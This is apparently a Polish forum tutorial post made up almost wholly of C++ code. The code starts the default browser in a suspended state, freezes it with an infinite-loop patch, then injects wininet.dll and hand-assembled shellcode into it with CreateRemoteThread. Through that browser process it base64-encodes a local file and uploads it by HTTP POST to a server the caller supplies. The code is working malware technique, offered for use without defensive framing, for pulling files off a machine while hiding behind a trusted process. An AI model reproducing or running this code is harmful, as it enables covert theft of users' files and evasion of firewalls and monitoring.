Kod:
HANDLE MakeZombieProcess()
{
char def_brow[MAX_PATH];
DWORD out_size=MAX_PATH;
AssocQueryString(0, ASSOCSTR_EXECUTABLE,"http", "open", def_brow, &out_size);//pobieramy sciezke domyslnej przegladarki
STARTUPINFO st={0};
PROCESS_INFORMATION pi={0};
CreateProcess(def_brow,NULL,NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&st,&pi);//tworzymy uśpiony proces
CONTEXT cx;
cx.ContextFlags=CONTEXT_ALL;
GetThreadContext(pi.hThread,&cx);
DWORD old;
VirtualProtectEx(pi.hProcess,(LPVOID)cx.Eax,2,PAGE_EXECUTE_READWRITE,&old);
WriteProcessMemory(pi.hProcess,(LPVOID)cx.Eax,"\xEB\xFE",2,&old);//napisujemy skokiem
ResumeThread(pi.hThread);//wlaczamy proces
return pi.hProcess;
}
Teraz funkcja ktora wysle plik
Kod:
void UploadFile(char* filename,char* server,char* script,char* f_name,HANDLE hProc)
{
char* buffer;
ifstream f(filename,ios::binary);
f.seekg(0,ios::end);
int size=f.tellg();
f.seekg(0,ios::beg);
buffer=(char*)malloc(size);
int i=0;
while(i<size)
{
buffer[i]=f.get();
i++;
}
f.close();
string buf=base64_encode((const unsigned char*)buffer,size);
string hdrs = "Content-Type: multipart/form-data; boundary=---------------------------7d82751e2bc0858";
string frmdata = "-----------------------------7d82751e2bc0858\nContent-Disposition: form-data; name=\"upl\"; filename=\"";
frmdata+=f_name;
frmdata+="\"\nContent-Type: application/octet-stream\n\n";
frmdata+=buf;
frmdata+="\n-----------------------------7d82751e2bc0858--";
char* load=(char*)VirtualAllocEx(hProc,0,strlen("wininet.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
DWORD n_wrt;
WriteProcessMemory(hProc,load,"wininet.dll",strlen("wininet.dll"),&n_wrt);
HANDLE hThr=CreateRemoteThread(hProc,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"),load,0,&n_wrt);
WaitForSingleObject(hThr,INFINITE);
DWORD IB;
GetExitCodeThread(hThr,&IB);
char* agent=(char*)VirtualAllocEx(hProc,0,6,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,agent,"Agent",6,&n_wrt);
char* host=(char*)VirtualAllocEx(hProc,0,strlen(server),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,host,server,strlen(server),&n_wrt);
char* method=(char*)VirtualAllocEx(hProc,0,strlen("POST"),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,method,"POST",strlen("POST"),&n_wrt);
char* plik=(char*)VirtualAllocEx(hProc,0,strlen(script),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,plik,script,strlen(script),&n_wrt);
DWORD Open=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"InternetOpenA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
DWORD Con=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"InternetConnectA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
DWORD Req=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"HttpOpenRequestA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
DWORD Req_s=(DWORD)GetProcAddress(LoadLibraryA("wininet.dll"),"HttpSendRequestA")-(DWORD)GetModuleHandle("wininet.dll")+IB;
DWORD h_size=hdrs.length();
DWORD d_size=frmdata.length();
char* head=(char*)VirtualAllocEx(hProc,0,h_size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
char* data=(char*)VirtualAllocEx(hProc,0,d_size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,head,hdrs.c_str(),h_size,&n_wrt);
WriteProcessMemory(hProc,data,frmdata.c_str(),d_size,&n_wrt);
char shellcode[]="\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x68\xDE\xAD\xC0\xDE\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x6A\x01\x6A\x00\x6A\x03\x6A\x00\x6A\x00\x6A\x50\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x6A\x01\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x68\xDE\xAD\xC0\xDE\x50\xBB\xDE\xAD\xC0\xDE\xFF\xD3\x33\xC0\xC3";
memcpy((char*)(shellcode+9),&agent,4);
memcpy((char*)(shellcode+14),&Open,4);
memcpy((char*)(shellcode+33),&host,4);
memcpy((char*)(shellcode+39),&Con,4);
memcpy((char*)(shellcode+56),&plik,4);
memcpy((char*)(shellcode+61),&method,4);
memcpy((char*)(shellcode+67),&Req,4);
memcpy((char*)(shellcode+74),&d_size,4);
memcpy((char*)(shellcode+79),&data,4);
memcpy((char*)(shellcode+84),&h_size,4);
memcpy((char*)(shellcode+89),&head,4);
memcpy((char*)(shellcode+95),&Req_s,4);
char* Sh=(char*)VirtualAllocEx(hProc,0,sizeof(shellcode),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,Sh,shellcode,sizeof(shellcode),&n_wrt);
hThr=CreateRemoteThread(hProc,0,0,(LPTHREAD_START_ROUTINE)Sh,0,0,0);
WaitForSingleObject(hThr,INFINITE);
GetExitCodeThread(hThr,&IB);
VirtualFreeEx(hProc,agent,0,MEM_RELEASE);
VirtualFreeEx(hProc,method,0,MEM_RELEASE);
VirtualFreeEx(hProc,host,0,MEM_RELEASE);
VirtualFreeEx(hProc,plik,0,MEM_RELEASE);
VirtualFreeEx(hProc,head,0,MEM_RELEASE);
VirtualFreeEx(hProc,data,0,MEM_RELEASE);
}
Shellcode jest bardzo prosty(pare pushy i 4 calle)